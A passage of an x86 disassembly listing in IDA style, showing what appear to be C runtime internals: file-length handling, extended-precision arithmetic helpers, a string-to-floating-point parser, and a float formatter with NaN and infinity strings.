ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, ds:dword_45FC20 jnb loc_41CA11 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, ds:dword_45FB20[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_41CA11 push 1 push esi push ebx call sub_419C0F add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_41CA1B push 2 push esi push ebx call sub_419C0F add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_41CA1B push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_41C9BE push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_413630 push 8000h push ebx call sub_41D516 add esp, 14h mov [ebp+arg_4], eax loc_41C972: ; CODE XREF: sub_41C8DC+BDj mov eax, 1000h cmp edi, eax jge short loc_41C97D mov eax, edi loc_41C97D: ; CODE XREF: sub_41C8DC+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41A4BA add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41C99B sub edi, eax test edi, edi jle short loc_41C9B1 jmp short loc_41C972 ; --------------------------------------------------------------------------- loc_41C99B: ; CODE XREF: sub_41C8DC+B5j cmp ds:dword_45E808, 5 jnz short loc_41C9AE mov ds:dword_45E804, 0Dh loc_41C9AE: ; CODE XREF: sub_41C8DC+C6j or esi, 0FFFFFFFFh loc_41C9B1: ; CODE XREF: sub_41C8DC+BBj push [ebp+arg_4] push ebx call sub_41D516 pop ecx pop ecx jmp short loc_41C9FE ; --------------------------------------------------------------------------- loc_41C9BE: ; CODE XREF: sub_41C8DC+71j jge short loc_41C9FE push 0 push [ebp+arg_4] push ebx call sub_419C0F push ebx call sub_41B556 add esp, 10h push eax call near ptr 0A70000h dec ecx mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_41C9FE mov ds:dword_45E804, 0Dh call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_45E808, eax loc_41C9FE: ; CODE XREF: sub_41C8DC+E0j ; sub_41C8DC:loc_41C9BEj ... push 0 push [ebp+arg_0] push ebx call sub_419C0F add esp, 0Ch mov eax, esi pop edi jmp short loc_41CA1E ; --------------------------------------------------------------------------- loc_41CA11: ; CODE XREF: sub_41C8DC+1Aj ; sub_41C8DC+36j mov ds:dword_45E804, 9 loc_41CA1B: ; CODE XREF: sub_41C8DC+4Ej ; sub_41C8DC+63j or eax, 0FFFFFFFFh loc_41CA1E: ; CODE XREF: sub_41C8DC+133j pop esi pop ebx leave retn sub_41C8DC endp ; =============== S U B R O U T I N E ======================================= sub_41CA22 proc near ; CODE XREF: sub_41BA55+2Bp ; sub_41BA55+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_41CA38 cmp ecx, esi jnb short loc_41CA3B loc_41CA38: ; CODE XREF: sub_41CA22+10j push 1 pop eax loc_41CA3B: ; CODE XREF: sub_41CA22+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_41CA22 endp ; =============== S U B R O U T I N E ======================================= sub_41CA43 proc near ; CODE XREF: sub_41CAFC+40p ; sub_41CAFC+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_41CA22 add esp, 0Ch test eax, eax jz short loc_41CA75 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_41CA22 add esp, 0Ch test eax, eax jz short loc_41CA75 inc dword ptr [esi+8] loc_41CA75: ; CODE XREF: sub_41CA43+19j ; sub_41CA43+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_41CA22 add esp, 0Ch test eax, eax jz short loc_41CA8D inc dword ptr [esi+8] loc_41CA8D: ; CODE XREF: sub_41CA43+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_41CA22 add esp, 0Ch pop edi pop esi retn sub_41CA43 endp ; =============== S U B R O U T I N E ======================================= sub_41CAA1 proc near ; CODE XREF: sub_41CAFC+30p ; sub_41CAFC+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_41CAA1 endp ; =============== S U B R O U T I N E ======================================= sub_41CACF proc near ; CODE XREF: sub_41D094+1C8p ; sub_41D58C+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_41CACF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAFC proc near ; CODE XREF: sub_41CBC3+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_41CB70 push edi mov [ebp+arg_8], eax loc_41CB23: ; CODE XREF: sub_41CAFC+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_41CAA1 push ebx call sub_41CAA1 lea eax, [ebp+var_10] push eax push ebx call sub_41CA43 push ebx call sub_41CAA1 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_41CA43 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_41CB23 xor edx, edx pop edi loc_41CB70: ; CODE XREF: sub_41CAFC+21j ; sub_41CAFC+9Fj cmp [ebx+8], edx jnz short loc_41CB9D mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_41CB70 ; --------------------------------------------------------------------------- loc_41CB9D: ; CODE XREF: sub_41CAFC+77j mov esi, 8000h loc_41CBA2: ; CODE XREF: sub_41CAFC+B9j test [ebx+8], esi jnz short loc_41CBB7 push ebx call sub_41CAA1 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_41CBA2 ; --------------------------------------------------------------------------- loc_41CBB7: ; CODE XREF: sub_41CAFC+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_41CAFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CBC3 proc near ; CODE XREF: sub_41BD9E+17p ; sub_41BDCB+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_41CBFE: ; CODE XREF: sub_41CBC3+52j mov cl, [edi] cmp cl, 20h jz short loc_41CC14 cmp cl, 9 jz short loc_41CC14 cmp cl, 0Ah jz short loc_41CC14 cmp cl, 0Dh jnz short loc_41CC17 loc_41CC14: ; CODE XREF: sub_41CBC3+40j ; sub_41CBC3+45j ... inc edi jmp short loc_41CBFE ; --------------------------------------------------------------------------- loc_41CC17: ; CODE XREF: sub_41CBC3+4Fj push 4 pop esi loc_41CC1A: ; CODE XREF: sub_41CBC3+AEj ; sub_41CBC3+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_41CE9D ; default ; jumptable 0041CC26 case 10 jmp ds:off_41D064[eax*4] ; switch jump loc_41CC2D: ; DATA XREF: seg000:off_41D064o cmp bl, 31h ; jumptable 0041CC26 case 0 jl short loc_41CC3E cmp bl, 39h jg short loc_41CC3E loc_41CC37: ; CODE XREF: sub_41CBC3+C4j ; sub_41CBC3+118j push 3 jmp loc_41CE5B ; --------------------------------------------------------------------------- loc_41CC3E: ; CODE XREF: sub_41CBC3+6Dj ; sub_41CBC3+72j cmp bl, ds:byte_42D300 jnz short loc_41CC4D loc_41CC46: ; CODE XREF: sub_41CBC3+124j push 5 jmp loc_41CE93 ; --------------------------------------------------------------------------- loc_41CC4D: ; CODE XREF: sub_41CBC3+81j movsx eax, bl sub eax, 2Bh jz short loc_41CC73 dec eax dec eax jz short loc_41CC67 sub eax, 3 jnz loc_41CF36 jmp loc_41CCF6 ; --------------------------------------------------------------------------- loc_41CC67: ; CODE XREF: sub_41CBC3+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_41CC1A ; --------------------------------------------------------------------------- loc_41CC73: ; CODE XREF: sub_41CBC3+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_41CC1A ; --------------------------------------------------------------------------- loc_41CC7C: ; CODE XREF: sub_41CBC3+63j ; DATA XREF: seg000:off_41D064o cmp bl, 31h ; jumptable 0041CC26 case 1 mov [ebp+var_10], edx jl short loc_41CC89 cmp bl, 39h jle short loc_41CC37 loc_41CC89: ; CODE XREF: sub_41CBC3+BFj cmp bl, ds:byte_42D300 jz loc_41CD51 cmp bl, 2Bh jz short loc_41CCCB cmp bl, 2Dh jz short loc_41CCCB cmp bl, 30h jz short loc_41CCF6 loc_41CCA4: ; CODE XREF: sub_41CBC3+207j cmp bl, 43h jle loc_41CF36 cmp bl, 45h jle short loc_41CCC4 cmp bl, 63h jle loc_41CF36 cmp bl, 65h jg loc_41CF36 loc_41CCC4: ; CODE XREF: sub_41CBC3+EDj push 6 jmp loc_41CE93 ; --------------------------------------------------------------------------- loc_41CCCB: ; CODE XREF: sub_41CBC3+D5j ; sub_41CBC3+DAj ... dec edi push 0Bh jmp loc_41CE93 ; --------------------------------------------------------------------------- loc_41CCD3: ; CODE XREF: sub_41CBC3+63j ; DATA XREF: seg000:off_41D064o cmp bl, 31h ; jumptable 0041CC26 case 2 jl short loc_41CCE1 cmp bl, 39h jle loc_41CC37 loc_41CCE1: ; CODE XREF: sub_41CBC3+113j cmp bl, ds:byte_42D300 jz loc_41CC46 cmp bl, 30h jnz loc_41CEAB loc_41CCF6: ; CODE XREF: sub_41CBC3+9Fj ; sub_41CBC3+DFj mov eax, edx jmp loc_41CC1A ; --------------------------------------------------------------------------- loc_41CCFD: ; CODE XREF: sub_41CBC3+63j ; DATA XREF: seg000:off_41D064o mov [ebp+var_10], edx ; jumptable 0041CC26 case 3 loc_41CD00: ; CODE XREF: sub_41CBC3+184j cmp ds:dword_42D2FC, edx jle short loc_41CD19 movzx eax, bl push esi push eax call sub_4165E6 pop ecx pop ecx push 1 pop edx jmp short loc_41CD27 ; --------------------------------------------------------------------------- loc_41CD19: ; CODE XREF: sub_41CBC3+143j mov ecx, ds:off_42D0F0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41CD27: ; CODE XREF: sub_41CBC3+154j test eax, eax jz short loc_41CD49 cmp [ebp+var_4], 19h jnb short loc_41CD41 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_41CD44 ; --------------------------------------------------------------------------- loc_41CD41: ; CODE XREF: sub_41CBC3+16Cj inc [ebp+var_8] loc_41CD44: ; CODE XREF: sub_41CBC3+17Cj mov bl, [edi] inc edi jmp short loc_41CD00 ; --------------------------------------------------------------------------- loc_41CD49: ; CODE XREF: sub_41CBC3+166j cmp bl, ds:byte_42D300 jnz short loc_41CDB8 loc_41CD51: ; CODE XREF: sub_41CBC3+CCj mov eax, esi jmp loc_41CC1A ; --------------------------------------------------------------------------- loc_41CD58: ; CODE XREF: sub_41CBC3+63j ; DATA XREF: seg000:off_41D064o cmp [ebp+var_4], 0 ; jumptable 0041CC26 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_41CD71 loc_41CD64: ; CODE XREF: sub_41CBC3+1ACj cmp bl, 30h jnz short loc_41CD71 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_41CD64 ; --------------------------------------------------------------------------- loc_41CD71: ; CODE XREF: sub_41CBC3+19Fj ; sub_41CBC3+1A4j ... cmp ds:dword_42D2FC, edx jle short loc_41CD8A movzx eax, bl push esi push eax call sub_4165E6 pop ecx pop ecx push 1 pop edx jmp short loc_41CD98 ; --------------------------------------------------------------------------- loc_41CD8A: ; CODE XREF: sub_41CBC3+1B4j mov ecx, ds:off_42D0F0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41CD98: ; CODE XREF: sub_41CBC3+1C5j test eax, eax jz short loc_41CDB8 cmp [ebp+var_4], 19h jnb short loc_41CDB3 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_41CDB3: ; CODE XREF: sub_41CBC3+1DDj mov bl, [edi] inc edi jmp short loc_41CD71 ; --------------------------------------------------------------------------- loc_41CDB8: ; CODE XREF: sub_41CBC3+18Cj ; sub_41CBC3+1D7j cmp bl, 2Bh jz loc_41CCCB cmp bl, 2Dh jz loc_41CCCB jmp loc_41CCA4 ; --------------------------------------------------------------------------- loc_41CDCF: ; CODE XREF: sub_41CBC3+63j ; DATA XREF: seg000:off_41D064o cmp ds:dword_42D2FC, edx ; jumptable 0041CC26 case 5 mov [ebp+var_24], edx jle short loc_41CDEB movzx eax, bl push esi push eax call sub_4165E6 pop ecx pop ecx push 1 pop edx jmp short loc_41CDF9 ; --------------------------------------------------------------------------- loc_41CDEB: ; CODE XREF: sub_41CBC3+215j mov ecx, ds:off_42D0F0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41CDF9: ; CODE XREF: sub_41CBC3+226j test eax, eax jz loc_41CEAB mov eax, esi jmp short loc_41CE5C ; --------------------------------------------------------------------------- loc_41CE05: ; CODE XREF: sub_41CBC3+63j ; DATA XREF: seg000:off_41D064o lea ecx, [edi-2] ; jumptable 0041CC26 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_41CE15 cmp bl, 39h jle short loc_41CE59 loc_41CE15: ; CODE XREF: sub_41CBC3+24Bj movsx eax, bl sub eax, 2Bh jz short loc_41CE91 dec eax dec eax jz short loc_41CE85 sub eax, 3 jnz loc_41CF39 loc_41CE2A: ; CODE XREF: sub_41CBC3+2A4j push 8 jmp short loc_41CE93 ; --------------------------------------------------------------------------- loc_41CE2E: ; CODE XREF: sub_41CBC3+63j ; DATA XREF: seg000:off_41D064o mov [ebp+var_20], edx ; jumptable 0041CC26 case 8 loc_41CE31: ; CODE XREF: sub_41CBC3+276j cmp bl, 30h jnz short loc_41CE3B mov bl, [edi] inc edi jmp short loc_41CE31 ; --------------------------------------------------------------------------- loc_41CE3B: ; CODE XREF: sub_41CBC3+271j cmp bl, 31h jl loc_41CF36 cmp bl, 39h jg loc_41CF36 jmp short loc_41CE59 ; --------------------------------------------------------------------------- loc_41CE4F: ; CODE XREF: sub_41CBC3+63j ; DATA XREF: seg000:off_41D064o cmp bl, 31h ; jumptable 0041CC26 case 7 jl short loc_41CE62 cmp bl, 39h jg short loc_41CE62 loc_41CE59: ; CODE XREF: sub_41CBC3+250j ; sub_41CBC3+28Aj push 9 loc_41CE5B: ; CODE XREF: sub_41CBC3+76j pop eax loc_41CE5C: ; CODE XREF: sub_41CBC3+240j dec edi jmp loc_41CC1A ; --------------------------------------------------------------------------- loc_41CE62: ; CODE XREF: sub_41CBC3+28Fj ; sub_41CBC3+294j cmp bl, 30h jnz short loc_41CEAB jmp short loc_41CE2A ; --------------------------------------------------------------------------- loc_41CE69: ; CODE XREF: sub_41CBC3+63j ; DATA XREF: seg000:off_41D064o cmp [ebp+arg_18], 0 ; jumptable 0041CC26 case 11 jz short loc_41CE99 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_41CE91 dec eax dec eax jnz loc_41CF39 loc_41CE85: ; CODE XREF: sub_41CBC3+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_41CC1A ; --------------------------------------------------------------------------- loc_41CE91: ; CODE XREF: sub_41CBC3+258j ; sub_41CBC3+2B8j push 7 loc_41CE93: ; CODE XREF: sub_41CBC3+85j ; sub_41CBC3+103j ... pop eax jmp loc_41CC1A ; --------------------------------------------------------------------------- loc_41CE99: ; CODE XREF: sub_41CBC3+2AAj push 0Ah dec edi pop eax loc_41CE9D: ; CODE XREF: sub_41CBC3+5Dj ; sub_41CBC3+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0041CC26 case 10 jz loc_41CF3B jmp loc_41CC1A ; --------------------------------------------------------------------------- loc_41CEAB: ; CODE XREF: sub_41CBC3+12Dj ; sub_41CBC3+238j ... mov edi, [ebp+arg_8] jmp loc_41CF3B ; --------------------------------------------------------------------------- loc_41CEB3: ; CODE XREF: sub_41CBC3+63j ; DATA XREF: seg000:off_41D064o mov [ebp+var_20], 1 ; jumptable 0041CC26 case 9 xor esi, esi loc_41CEBC: ; CODE XREF: sub_41CBC3+339j cmp ds:dword_42D2FC, 1 jle short loc_41CED4 movzx eax, bl push 4 push eax call sub_4165E6 pop ecx pop ecx jmp short loc_41CEE3 ; --------------------------------------------------------------------------- loc_41CED4: ; CODE XREF: sub_41CBC3+300j mov ecx, ds:off_42D0F0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41CEE3: ; CODE XREF: sub_41CBC3+30Fj test eax, eax jz short loc_41CF03 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_41CEFE mov bl, [edi] inc edi jmp short loc_41CEBC ; --------------------------------------------------------------------------- loc_41CEFE: ; CODE XREF: sub_41CBC3+334j mov esi, 1451h loc_41CF03: ; CODE XREF: sub_41CBC3+322j mov [ebp+var_1C], esi loc_41CF06: ; CODE XREF: sub_41CBC3+371j cmp ds:dword_42D2FC, 1 jle short loc_41CF1E movzx eax, bl push 4 push eax call sub_4165E6 pop ecx pop ecx jmp short loc_41CF2D ; --------------------------------------------------------------------------- loc_41CF1E: ; CODE XREF: sub_41CBC3+34Aj mov ecx, ds:off_42D0F0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41CF2D: ; CODE XREF: sub_41CBC3+359j test eax, eax jz short loc_41CF36 mov bl, [edi] inc edi jmp short loc_41CF06 ; --------------------------------------------------------------------------- loc_41CF36: ; CODE XREF: sub_41CBC3+99j ; sub_41CBC3+E4j ... dec edi jmp short loc_41CF3B ; --------------------------------------------------------------------------- loc_41CF39: ; CODE XREF: sub_41CBC3+261j ; sub_41CBC3+2BCj mov edi, ecx loc_41CF3B: ; CODE XREF: sub_41CBC3+2DDj ; sub_41CBC3+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_41D023 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_41CF67 cmp [ebp+var_45], 5 jl short loc_41CF5B inc [ebp+var_45] loc_41CF5B: ; CODE XREF: sub_41CBC3+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_41CF6A ; --------------------------------------------------------------------------- loc_41CF67: ; CODE XREF: sub_41CBC3+38Dj mov eax, [ebp+var_C] loc_41CF6A: ; CODE XREF: sub_41CBC3+3A2j cmp [ebp+var_4], 0 jbe loc_41D019 loc_41CF74: ; CODE XREF: sub_41CBC3+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_41CF82 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_41CF74 ; --------------------------------------------------------------------------- loc_41CF82: ; CODE XREF: sub_41CBC3+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_41CAFC mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_41CFA1 neg eax loc_41CFA1: ; CODE XREF: sub_41CBC3+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_41CFAC add eax, [ebp+arg_10] loc_41CFAC: ; CODE XREF: sub_41CBC3+3E4j cmp [ebp+var_24], ecx jnz short loc_41CFB4 sub eax, [ebp+arg_14] loc_41CFB4: ; CODE XREF: sub_41CBC3+3ECj cmp eax, 1450h jle short loc_41CFEB mov [ebp+var_2C], 1 loc_41CFC2: ; CODE XREF: sub_41CBC3+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_41CFCE: ; CODE XREF: sub_41CBC3+454j ; sub_41CBC3+45Ej cmp [ebp+var_2C], 0 jz short loc_41D034 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_41D049 ; --------------------------------------------------------------------------- loc_41CFEB: ; CODE XREF: sub_41CBC3+3F6j cmp eax, 0FFFFEBB0h jge short loc_41CFFB mov [ebp+var_30], 1 jmp short loc_41CFC2 ; --------------------------------------------------------------------------- loc_41CFFB: ; CODE XREF: sub_41CBC3+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_41D7AC mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_41CFCE ; --------------------------------------------------------------------------- loc_41D019: ; CODE XREF: sub_41CBC3+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_41CFCE ; --------------------------------------------------------------------------- loc_41D023: ; CODE XREF: sub_41CBC3+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_41D049 ; --------------------------------------------------------------------------- loc_41D034: ; CODE XREF: sub_41CBC3+40Fj cmp [ebp+var_30], 0 jz short loc_41D049 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_41D049: ; CODE XREF: sub_41CBC3+426j ; sub_41CBC3+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_41CBC3 endp ; --------------------------------------------------------------------------- off_41D064 dd offset loc_41CC2D ; DATA XREF: sub_41CBC3+63r dd offset loc_41CC7C ; jump table for switch statement dd offset loc_41CCD3 dd offset loc_41CCFD dd offset loc_41CD58 dd offset loc_41CDCF dd offset loc_41CE05 dd offset loc_41CE4F dd offset loc_41CE2E dd offset loc_41CEB3 dd offset loc_41CE9D dd offset loc_41CE69 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D094 proc near ; CODE XREF: sub_41BE6F+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_41D0F6 mov byte ptr [ebx+2], 2Dh jmp short loc_41D0FA ; --------------------------------------------------------------------------- loc_41D0F6: ; CODE XREF: sub_41D094+5Aj mov byte ptr [ebx+2], 20h loc_41D0FA: ; CODE XREF: sub_41D094+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_41D120 test edi, edi jnz short loc_41D120 cmp [ebp+arg_0], edi jnz short loc_41D120 loc_41D10B: ; CODE XREF: sub_41D094+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_41D31E ; --------------------------------------------------------------------------- loc_41D120: ; CODE XREF: sub_41D094+6Cj ; sub_41D094+70j ... cmp dx, si jnz short loc_41D19F mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_41D139 cmp [ebp+arg_0], 0 jz short loc_41D148 loc_41D139: ; CODE XREF: sub_41D094+9Dj test edi, 40000000h jnz short loc_41D148 push offset a1Snan ; "1#SNAN" jmp short loc_41D18E ; --------------------------------------------------------------------------- loc_41D148: ; CODE XREF: sub_41D094+A3j ; sub_41D094+ABj test cx, cx jz short loc_41D162 cmp edi, 0C0000000h jnz short loc_41D162 cmp [ebp+arg_0], 0 jnz short loc_41D189 push offset a1Ind ; "1#IND" jmp short loc_41D171 ; --------------------------------------------------------------------------- loc_41D162: ; CODE XREF: sub_41D094+B7j ; sub_41D094+BFj cmp edi, eax jnz short loc_41D189 cmp [ebp+arg_0], 0 jnz short loc_41D189 push offset a1Inf ; "1#INF" loc_41D171: ; CODE XREF: sub_41D094+CCj lea eax, [ebx+4] push eax call sub_413CC0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_41D180: ; CODE XREF: sub_41D094+109j and [ebp+var_4], 0 jmp loc_41D2F7 ; --------------------------------------------------------------------------- loc_41D189: ; CODE XREF: sub_41D094+C5j ; sub_41D094+D0j ... push offset a1Qnan ; "1#QNAN" loc_41D18E: ; CODE XREF: sub_41D094+B2j lea eax, [ebx+4] push eax call sub_413CC0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_41D180 ; --------------------------------------------------------------------------- loc_41D19F: ; CODE XREF: sub_41D094+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_41D7AC add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_41D200 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_41D58C pop ecx pop ecx loc_41D200: ; CODE XREF: sub_41D094+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_41D21A mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_41D21D jmp loc_41D10B ; --------------------------------------------------------------------------- loc_41D21A: ; CODE XREF: sub_41D094+173j mov edi, [ebp+arg_C] loc_41D21D: ; CODE XREF: sub_41D094+17Fj cmp edi, 15h jle short loc_41D225 push 15h pop edi loc_41D225: ; CODE XREF: sub_41D094+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_41D23B: ; CODE XREF: sub_41D094+1B4j lea eax, [ebp+var_10] push eax call sub_41CAA1 dec [ebp+arg_14] pop ecx jnz short loc_41D23B test esi, esi jge short loc_41D265 neg esi and esi, 0FFh jle short loc_41D265 loc_41D258: ; CODE XREF: sub_41D094+1CFj lea eax, [ebp+var_10] push eax call sub_41CACF dec esi pop ecx jnz short loc_41D258 loc_41D265: ; CODE XREF: sub_41D094+1B8j ; sub_41D094+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_41D2C2 mov [ebp+arg_C], ecx loc_41D275: ; CODE XREF: 